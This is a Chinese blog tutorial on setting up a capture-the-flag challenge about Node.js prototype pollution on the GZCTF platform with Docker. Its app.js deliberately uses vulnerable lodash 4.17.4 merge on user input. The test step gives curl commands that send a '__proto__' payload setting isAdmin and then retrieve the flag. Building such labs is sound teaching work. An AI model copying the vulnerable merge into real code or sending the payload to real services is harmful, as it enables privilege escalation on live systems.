CTF中web方向原型链污染类题目搭建教程

前言

如果你是一名网络安全爱好者,或者正在学习 CTF(Capture The Flag)比赛中的 Web 安全知识,那么你一定听说过 原型链污染(Prototype Pollution)。这是一种在 JavaScript 中常见的安全漏洞,攻击者可以通过操纵对象的原型链来实现恶意操作。

本文将带你从零开始,使用 GZCTF 平台 和 Docker,在 Ubuntu 系统 上搭建一个简单的 Node.js 原型链污染题目。即使你是新手,也能轻松上手!


准备工作

在开始之前,请确保你的系统已经安装以下工具:

  1. Ubuntu 系统(本文以 Ubuntu 20.04 为例)

  2. Docker(用于容器化部署)

  3. GZCTF 平台(一个开源的 CTF 平台)

如果你还没有安装 GZCTF,可以去👇

一键搭建 GZCTF 平台教程-CSDN博客


第一步:编写 Node.js 题目代码

我们需要编写一个简单的 Node.js 应用程序,其中包含一个原型链污染的漏洞。

这里我直接选用了以前做过的题目(ezsyjs)

结构如下

easyjs/
├── Dockerfile
├── app.js
└── package.json

Dockerfle

# 使用 Node.js 官方镜像
FROM node:18-alpine

# 创建工作目录
WORKDIR /app

# 复制依赖声明文件
COPY package*.json ./

# 安装依赖(生产模式)
RUN npm install --omit=dev

# 复制源码和 flag
COPY app.js .

# 启动命令
CMD ["node", "app.js"]

app.js

const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();

app.use(express.json());

// 存储笔记的对象
const notes = {};

// 创建新笔记
app.post('/api/notes', (req, res) => {
    const noteId = req.body.id;
    const noteData = req.body;

    if (!noteId) {
        return res.status(400).json({ error: 'Missing id' });
    }

    // 使用lodash.merge,该版本存在原型链污染漏洞
    notes[noteId] = {};
    _.merge(notes[noteId], noteData);
    console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
    console.log('Note properties:', notes[noteId]);
    res.json(notes[noteId]);
});

// 获取笔记
app.get('/api/notes/:id', (req, res) => {
    const noteId = req.params.id;

    if (!notes[noteId]) {
        return res.status(404).json({ error: 'Note not found' });
    }

    res.json(notes[noteId]);
});

// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
    const noteId = req.headers['note-id'];

    if (!noteId || !notes[noteId]) {
        return res.status(403).json({ error: 'Authentication required' });
    }

    if (!notes[noteId].isAdmin) {
        return res.status(403).json({ error: 'Admin access required' });
    }

    try {
        const flag = process.env.GZCTF_FLAG;
        res.json({ flag: flag.trim() });
    } catch (err) {
        res.status(500).json({ error: 'Error reading flag' });
    }
});

app.listen(8000, () => {
    console.log('Server running on port 8000');
});

package.json

{
  "name": "ctf-proto-pollution",
  "version": "1.0.0",
  "dependencies": {
    "express": "^4.18.2",
    "lodash": "4.17.4"
  }
}

之后进入目录创建镜像

docker build -t nodejs .

第二步:部署到 GZCTF 平台

在平台创建题目后输入上一步中镜像的名称创建测试容器

注意此处服务端口为8000,默认80,因为app.js中的

app.listen(8000, () => {
    console.log('Server running on port 8000');
});

会在8000端口监听


第三步:测试题目

访问测试容器出现以下内容代表成功

之后传入note修改权限isAdmin为true

curl -X POST http://xxx.xxx.xxx:xxx/api/notes -H "Content-Type: application/json" -d '{"id": "note1", "__proto__": {"isAdmin": true}}'

之后访问这个note1

curl -H "Note-Id: note1" http://xxx.xxx.xx.xx:xxx/api/flag

获取flag


总结

通过本文,你已经成功搭建了一个简单的 Node.js 原型链污染题目,并部署到了 GZCTF 平台。这个题目非常适合新手学习原型链污染的原理和利用方法。

如果你对 Node.js 安全感兴趣,可以尝试进一步研究:

  • 如何修复原型链污染漏洞?

  • 其他常见的 JavaScript 安全漏洞(如 XSS、CSRF 等)。

希望你能通过这个题目学到有用的知识,祝你玩得开心!🚀

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值